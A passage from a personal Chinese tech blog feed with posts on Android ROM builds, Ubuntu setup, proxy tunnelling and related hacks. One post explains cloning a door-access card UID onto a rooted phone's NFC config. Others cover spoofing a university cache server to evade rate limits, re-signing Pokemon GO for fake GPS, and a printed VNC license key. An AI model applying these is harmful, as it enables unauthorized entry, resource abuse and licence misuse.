&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  lunch 
  //选择要编译的版本，调试的话选择eng，userdebug可以获取root权限，user就是给普通用户有大量限制
  make -j4 //这里开始编译，线程数目是CPU线程乘以2为佳
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;CM :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  $ croot
  $ brunch thea //thea换成对应型号
&lt;/pre&gt;&lt;/div&gt;


&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;等待编译结束，编译后的文件在&lt;code&gt;out&lt;/code&gt;目录中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;(AOSP独有)如果要运行模拟器，直接在编译后运行&lt;code&gt;emulator&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;(CM独有)在输出目录中,可以找到日期开头的zip文件，就是生成的刷机包，放入手机可以直接用recovery刷入即可&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;更新代码&lt;/h2&gt;
&lt;p&gt;无聊的时候可以使用&lt;code&gt;repo sync&lt;/code&gt;同步最新代码，记得先&lt;code&gt;repo diff &amp;gt; xxx.diff&lt;/code&gt;来保存你修改后的代码，同步冲突的时候可以根据错误，到对应的目录中先commit你的修改，同步的时候repo会自动丢弃你的提交。&lt;/p&gt;
&lt;h2&gt;修改代码&lt;/h2&gt;
&lt;p&gt;先了解结构，再了解原理，最后查找修改点&lt;/p&gt;</content><category term="Android"></category><category term="Linux"></category><category term="December"></category></entry><entry><title>Ubuntu 配置手册</title><link href="https://blog.chenjia.me/articles/161020-132205.html" rel="alternate"></link><published>2016-10-20T13:22:05+08:00</published><updated>2016-10-20T13:22:07+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-10-20:/articles/161020-132205.html</id><summary type="html">&lt;h1&gt;Ubuntu 配置手册&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;为了方便每次做Linux系统时候配置电脑，故记录操作步骤。&lt;/p&gt;
&lt;p&gt;Ubuntn …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;h1&gt;Ubuntu 配置手册&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;为了方便每次做Linux系统时候配置电脑，故记录操作步骤。&lt;/p&gt;
&lt;p&gt;Ubuntn 16.04 有更好用的&lt;code&gt;apt&lt;/code&gt;命令代替&lt;code&gt;apt-get&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;重新安装系统&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;系统获取：中国科技大学镜像站&lt;/li&gt;
&lt;li&gt;写入U盘：Ultraiso&lt;/li&gt;
&lt;li&gt;开启主板UEFI设置（推荐）&lt;/li&gt;
&lt;li&gt;启动，安装&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第一次开机&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;修改软件源&lt;/li&gt;
&lt;li&gt;更新语言支持库&lt;/li&gt;
&lt;li&gt;更新apt-get &lt;code&gt;sudo apt-get update&lt;/code&gt;,&lt;code&gt;sudo apt-get upgrade&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;安装SSH，vim &lt;code&gt;sudo apt-get install openssh-server vim&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;修改端口&lt;code&gt;sudo vim /etc/ssh/sshd_config&lt;/code&gt;，重新启动&lt;code&gt;sudo service ssh restart&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;安装VNC:&lt;a href="https://www.realvnc.com/"&gt;https://www.realvnc.com/&lt;/a&gt;:&lt;code&gt;dpkg -i xxxx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo vnclicense -add 8ZEZH-QPANM-NX3A5-8C4TS-8B97A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo vncserver-x11-serviced&lt;/code&gt;,修改端口和密码，连接权限&lt;/li&gt;
&lt;li&gt;初始化UNIX ROOT 密码&lt;code&gt;sudo passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;配置开机启动服务&lt;code&gt;sudo apt-get install sysv-rc-conf&lt;/code&gt; &lt;code&gt;sudo sysv-rc-conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;自动脚本命令执行 supervisor &lt;code&gt;sudo apt-get install supervisor&lt;/code&gt;
    &amp;gt;/etc/supervisor/conf.d/
    &amp;gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;[program:polipo]&lt;/span&gt;
&lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;polipo -c /etc/polipo/config&lt;/span&gt;
&lt;span class="na"&gt;autostart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;autorestart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;
&lt;span class="na"&gt;log_stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;logfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/var/log/polipo.log&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;sudo service supervisor start&lt;/code&gt; 测试，通过后服务添加开机自动启动&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;更换主题&lt;/h2&gt;
&lt;p&gt;Flatabulous &lt;a href="https://github.com/anmoljagetia/Flatabulous"&gt;https://github.com/anmoljagetia/Flatabulous&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以同时配置图标和壁纸&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意，ubuntu-tweak不应该使用sudo权限运行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;搜狗输入法&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://pinyin.sogou.com/linux/?r=pinyin"&gt;http://pinyin.sogou.com/linux/?r=pinyin&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;可能需要注销后输入法才能被正常启动 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;科学上网&lt;/h2&gt;
&lt;p&gt;使用shadow(remove)socks连接外墙服务器然后转换为HTTP的代理，使用polipo，但是要注意限制连接的ip，不然可能导致HTTP代理被滥用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo apt-get install python-pip
pip install --upgrade pip
pip install shadow(remove)socks

sudo apt-get install polipo

---/etc/polipo/config---
logSyslog = true
logFile = /var/log/polipo/polipo.log
proxyAddress = &amp;quot;::0&amp;quot;
proxyPort = xxxx
socksParentProxy = &amp;quot;127.0.0.1:8000&amp;quot;
socksProxyType = socks5
allowedClients=127.0.0.1,211.87.0.0/18
daemonise=true

---
sudo service polipo stop
sudo polipo -c /etc/polipo/config
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Python版本的功能多，不过占用资源大，可以用libev&lt;a href="https://github.com/shadow(remove)socks/shadow(remove)socks-libev"&gt;https://github.com/shadow(remove)socks/shadow(remove)socks-libev&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;服务器搭建&lt;/h2&gt;
&lt;p&gt;Apache/Nginx&lt;/p&gt;
&lt;p&gt;PHP+MYSQL+PHPMYADMIN&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04"&gt;https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo apt install nginx
sudo apt install mysql-server
sudo apt install php-fpm php-mysql
sudo apt install phpmyadmin
sudo ln -s /usr/share/phpmyadmin/ /var/www/html/xxx
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;关于服务器没有权限访问&lt;code&gt;ln -s&lt;/code&gt;的文件权限，或者是NTFS等外挂磁盘权限，应该检查访问路劲中所有的文件夹是否都有执行权限。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;FTP搭建&lt;/h2&gt;
&lt;p&gt;vsftp&lt;/p&gt;
&lt;h2&gt;给Windows共享文件夹&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sudo apt-get install samba&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo smbpasswd -a username&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;设置共享的文件夹&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Docker&lt;/h2&gt;
&lt;p&gt;官网&lt;a href="https://docs.docker.com/engine/installation/linux/ubuntulinux/"&gt;https://docs.docker.com/engine/installation/linux/ubuntulinux/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Transmission&lt;/h2&gt;
&lt;p&gt;自带的版本还是很新的，使用&lt;code&gt;trasmission-gtk&lt;/code&gt;运行，在设置中可以开启服务器设置，然后添加到ubuntu的开机自动启动中去就好了。&lt;/p&gt;
&lt;h2&gt;CM源代码&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://source.android.com/source/initializing.html"&gt;http://source.android.com/source/initializing.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://wiki.cyanogenmod.org/w/Build_for_thea"&gt;https://wiki.cyanogenmod.org/w/Build_for_thea&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;初始化仓库后， 修改&lt;code&gt;.repo/manifests/default.xml&lt;/code&gt;替换&lt;code&gt;https://android.googlesource.com/&lt;/code&gt;为&lt;code&gt;https://aosp.tuna.tsinghua.edu.cn/&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;参考https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意设置cache来保证编译速度&lt;/p&gt;
&lt;h2&gt;不可说的服务器&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;KMS &lt;a href="https://blog.chenjia.me/articles/160330-213214.html"&gt;https://blog.chenjia.me/articles/160330-213214.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IDEAL &lt;a href="http://blog.lanyus.com/archives/174.html"&gt;http://blog.lanyus.com/archives/174.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="October"></category><category term="Linux"></category></entry><entry><title>Android NFC 修改 UID</title><link href="https://blog.chenjia.me/articles/161014-225637.html" rel="alternate"></link><published>2016-10-14T22:56:37+08:00</published><updated>2016-10-14T22:56:38+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-10-14:/articles/161014-225637.html</id><summary type="html">&lt;h2&gt;NFC &amp;amp; M1 卡&lt;/h2&gt;
&lt;p&gt;NFC就是近场通讯。M1是一种比较常见的格式 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;NFC &amp;amp; M1 卡&lt;/h2&gt;
&lt;p&gt;NFC就是近场通讯。M1是一种比较常见的格式。&lt;/p&gt;
&lt;p&gt;Android 的NFC 默认可以模拟多种类型的卡。&lt;/p&gt;
&lt;h2&gt;把手机变成门禁卡&lt;/h2&gt;
&lt;p&gt;我们现在来聊聊最简单的一个应用，把手机变为门禁卡&lt;/p&gt;
&lt;p&gt;那么我们需要一部具有NFC功能的手机&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;获取门禁卡的UID（可以直接使用已有软件）&lt;/li&gt;
&lt;li&gt;ROOT的Android设备。&lt;/li&gt;
&lt;li&gt;需要复制的 M1 门禁卡&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;Android系统的NFC 的uid保存在&lt;code&gt;/etc/libnfc-nxp.conf&lt;/code&gt;文件中&lt;/p&gt;
&lt;p&gt;部分手机需要修改NFC设置为ANDROID操作系统而不是安全模块SIM卡，在NFC设置高级设置中&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;修改UID，首先你需要获取该文件的写权限，你可能需要重新挂着系统分区&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mount -o remount,rw /system/
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;建议使用&lt;code&gt;root explorer&lt;/code&gt;可以直接编辑&lt;/p&gt;
&lt;p&gt;找到如下位置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;###############################################################################
# Core configuration settings
# It includes
# 18        - Poll Mode NFC-F:   PF_BIT_RATE
# 21        - Poll Mode ISO-DEP: PI_BIT_RATE
# 28        - Poll Mode NFC-DEP: PN_NFC_DEP_SPEED
# 30        - Lis. Mode NFC-A:   LA_BIT_FRAME_SDD
# 31        - Lis. Mode NFC-A:   LA_PLATFORM_CONFIG
# 33        - Lis. Mode NFC-A:   LA_SEL_INFO
# 50        - Lis. Mode NFC-F:   LF_PROTOCOL_TYPE
# 54        - Lis. Mode NFC-F:   LF_CON_BITR_F
# 5B        - Lis. Mode ISO-DEP: LI_BIT_RATE
# 60        - Lis. Mode NFC-DEP: LN_WT
# 80        - Other Param.:      RF_FIELD_INFO
# 81        - Other Param.:      RF_NFCEE_ACTION
# 82        - Other Param.:      NFCDEP_OP
NXP_CORE_CONF={ 20, 02, 2B, 0D,
        18, 01, 01,
        21, 01, 00,
        28, 01, 01,
        30, 01, 08,
        31, 01, 03,
        33, 04, 01, 02, 03, 04,
        50, 01, 02,
        54, 01, 06,
        5B, 01, 02,
        60, 01, 0E,
        80, 01, 01,
        81, 01, 01,
        82, 01, 0E
        }

###############################################################################
# Mifare Classic Key settings
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;修改其中的&lt;code&gt;01, 02, 03, 04,&lt;/code&gt;为你的UID卡号，大写，保存后确定文件权限为&lt;code&gt;-rw-r--r--&lt;/code&gt;(644)&lt;/p&gt;
&lt;p&gt;重启手机即可进行验证是否成功&lt;/p&gt;</content><category term="Android"></category><category term="October"></category></entry><entry><title>Hyper.sh docker使用</title><link href="https://blog.chenjia.me/articles/160823-220637.html" rel="alternate"></link><published>2016-08-23T22:06:37+08:00</published><updated>2016-08-23T22:06:40+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-08-23:/articles/160823-220637.html</id><summary type="html">&lt;h2&gt;注册+初始化&lt;/h2&gt;
&lt;p&gt;邀请链接：&lt;a href="https://console.hyper.sh/register/invite/mGwoKDwl8ATdWOn25pebCPPPkkznPgH8"&gt;https://console …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">&lt;h2&gt;注册+初始化&lt;/h2&gt;
&lt;p&gt;邀请链接：&lt;a href="https://console.hyper.sh/register/invite/mGwoKDwl8ATdWOn25pebCPPPkkznPgH8"&gt;https://console.hyper.sh/register/invite/mGwoKDwl8ATdWOn25pebCPPPkkznPgH8&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;需要信用卡验证&lt;/li&gt;
&lt;li&gt;目前支持mac和linux&lt;/li&gt;
&lt;li&gt;下载CLI，创建容器权限&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;最低价的使用ss&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Python版本的ss占用资源过大，推荐使用libev版本&lt;a href="https://hub.docker.com/r/registercn/shadow(remove)socks-libev/"&gt;https://hub.docker.com/r/registercn/shadow(remove)socks-libev/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;hyper pull registercn/shadow(remove)socks-libev&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hyper run -d --name shadow(remove)socks -p 端口号 --size=s1 -e SERVER_PORT=端口号 -e METHOD=rc4-md5 -e PASSWORD=密码 registercn/shadow(remove)socks-libev&lt;/code&gt; --size 是容器的配置，s1就够了&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hyper fip allocate 1&lt;/code&gt; 获取一个ip&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hyper fip attach 获取到的ip 容器名&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;</content><category term="Linux"></category><category term="August"></category></entry><entry><title>SDU Speed Downloader 原理和编程过程</title><link href="https://blog.chenjia.me/articles/160821-222554.html" rel="alternate"></link><published>2016-08-21T22:25:54+08:00</published><updated>2016-08-21T22:25:55+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-08-21:/articles/160821-222554.html</id><summary type="html">&lt;h2&gt;山大网速现状&lt;/h2&gt;
&lt;p&gt;山大工作时间的网速白天限制在347k，也就是我们所的3M宽带，晚上限速178k，也就是我们1 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;山大网速现状&lt;/h2&gt;
&lt;p&gt;山大工作时间的网速白天限制在347k，也就是我们所的3M宽带，晚上限速178k，也就是我们1.5M宽带。
如此低的速度导致很多人在下载东西需要大量的时间的去等待。&lt;/p&gt;
&lt;h2&gt;如何提速&lt;/h2&gt;
&lt;p&gt;通过分析山大的网络，我们可以发现在202.194.19.20这个IP上部署了一个cache服务器，也就是我们平时所说的缓存服务器。
这个服务器原理就是在所有经过其流量的用户二次下载后就会有很快的速度（通过HTTP 304来替换目标网址）&lt;/p&gt;
&lt;h2&gt;提速原理&lt;/h2&gt;
&lt;p&gt;欺骗缓存服务器，强制其命中。通过其下载文件来绕过202.194.0.45的限速服务器的速度限制。&lt;/p&gt;
&lt;h2&gt;关于Python的界面&lt;/h2&gt;
&lt;p&gt;Python2 可以使用    &lt;code&gt;Tkinter&lt;/code&gt;来写简单的界面&lt;/p&gt;
&lt;h2&gt;关于Python打包成exe单文件&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我们可以使用&lt;code&gt;PyInstaller&lt;/code&gt;来打包文件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其支持py2和py3
支持图形界面（会有一点小问题）&lt;/p&gt;
&lt;p&gt;其还支持&lt;code&gt;upx&lt;/code&gt;exe的压缩，减小文件体积&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;PyInstaller&lt;/code&gt;支持使用&lt;code&gt;pip&lt;/code&gt;命令进行安装。非常方便&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;编译py文件到exe可以使用如下命令：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pyinstaller -c --log-level DEBUG -p /path/to/library/ -i /path/to/iocn -F --upx-dir /path/to/upx/ main.py&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-c&lt;/code&gt;为控制台，窗口的话改为&lt;code&gt;-w&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;为依赖库位置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D&lt;/code&gt;为打包为文件夹，就是一个exe带一堆dll，&lt;code&gt;-F&lt;/code&gt;则为打包为单个exe文件&lt;/li&gt;
&lt;li&gt;&lt;code&gt;main.py&lt;/code&gt;为程序的入口&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;pyc-&amp;gt;py&lt;/h2&gt;
&lt;p&gt;Python文件的反编译比较简单，在&lt;code&gt;pip&lt;/code&gt;中安装&lt;code&gt;uncompyler&lt;/code&gt;，然后运行&lt;code&gt;uncompyler 对应的pyc文件&lt;/code&gt;，加上对应的输出，比如&lt;code&gt;-o&lt;/code&gt;到指定文件夹，就能将pyc反编译为py文件进行编辑了。
不过中文字符反编译会后就是unicode或者utf-8的编码，需要自己再将其转换为中文即可&lt;/p&gt;</content><category term="Python"></category><category term="August"></category></entry><entry><title>Pokemon GO破解坐标</title><link href="https://blog.chenjia.me/articles/160718-122025.html" rel="alternate"></link><published>2016-07-18T12:20:25+08:00</published><updated>2016-07-18T12:20:26+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-07-18:/articles/160718-122025.html</id><summary type="html">&lt;h1&gt;Pokemon Faker Location&lt;/h1&gt;
&lt;h1&gt;必备资源下载&lt;/h1&gt;
&lt;p&gt;某大神的 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Pokemon Faker Location&lt;/h1&gt;
&lt;h1&gt;必备资源下载&lt;/h1&gt;
&lt;p&gt;某大神的 &lt;a href="https://github.com/rpplusplus/PokemonHook"&gt;https://github.com/rpplusplus/PokemonHook&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;基本上现在国内的破解都是基于这个的，这个项目默认地址是在三番的城市广场。所以。。大部分中国人都在那里。。资源抢夺的厉害。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Xcode 最新版本（用于生成证书和安装，编译）&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;准备证书&lt;/h1&gt;
&lt;p&gt;现在Xcode 7 支持个人免费证书，我们就使用这个证书进行对自己的程序进行签名&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开Xcode，新建一个iOS项目，随便去名字，但是要记住包名&lt;/li&gt;
&lt;li&gt;添加自己的Apple ID 到开发者验证，选择Free&lt;/li&gt;
&lt;li&gt;生成证书和code sign，这一步需要连接iPhone或者其他苹果设备&lt;/li&gt;
&lt;li&gt;证书生成和code sign在偏好设置-账户中可以，查看详情，右键profiles，点击show in finder，复制这个文件到桌面，记住位置就好&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;重新编译LIB文件（如果需要改坐标的话）&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;参考&lt;a href="http://www.jianshu.com/p/fcba4bd2a3df"&gt;http://www.jianshu.com/p/fcba4bd2a3df&lt;/a&gt;中的前面两步&lt;code&gt;生成LocationFaker.dylib&lt;/code&gt;和&lt;code&gt;安装iOSOpenDev&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tips:
1. 坐标可以通过Google地图选择某个地点后URL就可以看到当前位置的经纬度
2. Bundle id有的话也同时修改&lt;/p&gt;
&lt;h1&gt;重签名LIB文件&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;安装fastlane &lt;code&gt;sudo gem install fastlane&lt;/code&gt; //这一步可以不需要，如果使用iREsign进行签名的话&lt;/li&gt;
&lt;li&gt;在终端中&lt;code&gt;cd&lt;/code&gt;到&lt;code&gt;libLocationFaker.dylib&lt;/code&gt;的文件夹位置，使用&lt;code&gt;codesign -f -s "iPhone Developer: xxxxxxxxx" libLocationFaker.dylib&lt;/code&gt; 替换xxxx为你的id&lt;/li&gt;
&lt;li&gt;下载&lt;code&gt;https://github.com/maciekish/iReSign&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;替换文件&lt;/h1&gt;
&lt;p&gt;解压下载的github中的文件，继续解压&lt;code&gt;pokemon-unsign.zip&lt;/code&gt;，出现&lt;code&gt;Payload&lt;/code&gt;，点击&lt;code&gt;pokemon&lt;/code&gt;,右键显示包内容，重命名证书文件为&lt;code&gt;embedded.mobileprovision&lt;/code&gt;替换里面同名文件，替换同名的lib文件，修改&lt;code&gt;info.plist&lt;/code&gt;中的&lt;code&gt;Bundle identifier&lt;/code&gt;为你刚才新建工程的包名。&lt;/p&gt;
&lt;h1&gt;生成ipa&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;打开iTunes，将刚才的&lt;code&gt;pokemon&lt;/code&gt;的包直接拖入&lt;code&gt;iTunes&lt;/code&gt;，等待完成&lt;/li&gt;
&lt;li&gt;点击应用，右键&lt;code&gt;pokemon go&lt;/code&gt;，在Finder中显示，获取ipa&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;重新签名ipa&lt;/h1&gt;
&lt;p&gt;打开iResign，第一个填ipa绝对路径，拖入文件就好，第二个填之前那个证书的位置，也是拖入就好，最后一行选择你的证书，点击重签名，然后等待完成。&lt;/p&gt;
&lt;h1&gt;改权限&amp;amp;安装&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;重命名&lt;code&gt;ipa&lt;/code&gt;为&lt;code&gt;zip&lt;/code&gt;，双击解压&lt;/li&gt;
&lt;li&gt;使用终端到该目录，进入&lt;code&gt;Payload/pokemongo/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;chomod 777 pokemongo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;打开&lt;code&gt;xcode&lt;/code&gt;，选择&lt;code&gt;Windows-device&lt;/code&gt;,点开手机设备，将&lt;code&gt;pokemon&lt;/code&gt;拖入即可&lt;/li&gt;
&lt;li&gt;在手机设置中同意自己的开发证书，打开VPN即可享受自己破解的&lt;code&gt;pokemon go&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;</content><category term="July"></category><category term="iOS"></category></entry><entry><title>阻止国产软件各种ADB的启动</title><link href="https://blog.chenjia.me/articles/160714-163425.html" rel="alternate"></link><published>2016-07-14T16:34:25+08:00</published><updated>2016-07-14T16:34:27+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-07-14:/articles/160714-163425.html</id><summary type="html">&lt;h1&gt;国内电脑环境现状&lt;/h1&gt;
&lt;p&gt;也不知道是哪位大哥带的头，现状不管大软件还是小软件，都会在软件里面添加adb，美其名曰为一键安装安卓程序 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;国内电脑环境现状&lt;/h1&gt;
&lt;p&gt;也不知道是哪位大哥带的头，现状不管大软件还是小软件，都会在软件里面添加adb，美其名曰为一键安装安卓程序，加速手机，更新软件等等。导致了手机一插入电脑，就会被安装很多奇怪的软件（开启adb调试的情况下），听说某数字还直接安装雷电os，简直不可忍。&lt;/p&gt;
&lt;p&gt;我个人电脑上会把这类软件的adb全部删除或者屏蔽，然而在给别人电脑调试android程序的时候，adb就经常会被劫持。导致调试过程长路茫茫- -，后在论坛上发现了一个利用注册表镜像劫持的方式来达到屏蔽这类软件启动的功能&lt;/p&gt;
&lt;h1&gt;Image File Execution Options（映像劫持）&lt;/h1&gt;
&lt;p&gt;该功能用来是Windows提供给用户进行调试的，他是一种和路径无关的劫持调试，通过匹配程序名来hook debugger调试器。
详细的请戳&lt;a href="http://baike.baidu.com/link?url=y12D5RvxbKMGpxOZZhLqSnI6PwuZhwQ_qcXdoiZ56jE2wlnhY0HF9BwFdYCYWxUifVSnYaDvVCIK7wQPGFstQK" title="IFEO"&gt;http://baike.baidu.com/link?url=y12D5RvxbKMGpxOZZhLqSnI6PwuZhwQ_qcXdoiZ56jE2wlnhY0HF9BwFdYCYWxUifVSnYaDvVCIK7wQPGFstQK&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;编写用于屏蔽的注册表文件&lt;/h1&gt;
&lt;p&gt;下列脚本屏蔽了QQ系列，金山系列，淘宝系列系列等常见ABD的程序名&lt;/p&gt;
&lt;p&gt;大家可以根据需要自行添加
语法为&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\要屏蔽的ADB的程序名.exe] 
&amp;quot;debugger&amp;quot;=&amp;quot;nul&amp;quot;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;微软注册表前缀
&lt;code&gt;Windows Registry Editor Version 5.00&lt;/code&gt;
不同系统可能不一样。到&lt;code&gt;regedit&lt;/code&gt;里面随便到处一个就能看到当前系统的版本了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下是目前的脚本，屏蔽了&lt;code&gt;tadb,ShuameDaemon,shuame_helper,wpscloudlaunch,AndroidServer,Alipaybsm,TaobaoProtect,wpscenter,wpscloudsvr&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Windows Registry Editor Version 5.00

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\tadb.exe]&lt;/span&gt; 
&lt;span class="na"&gt;&amp;quot;debugger&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;nul&amp;quot;&lt;/span&gt;

&lt;span class="err"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;/span&gt; &lt;span class="err"&gt;NT\CurrentVersion\Image&lt;/span&gt; &lt;span class="err"&gt;File&lt;/span&gt; &lt;span class="err"&gt;Execution&lt;/span&gt; &lt;span class="err"&gt;Options\ShuameDaemon.exe]&lt;/span&gt; 
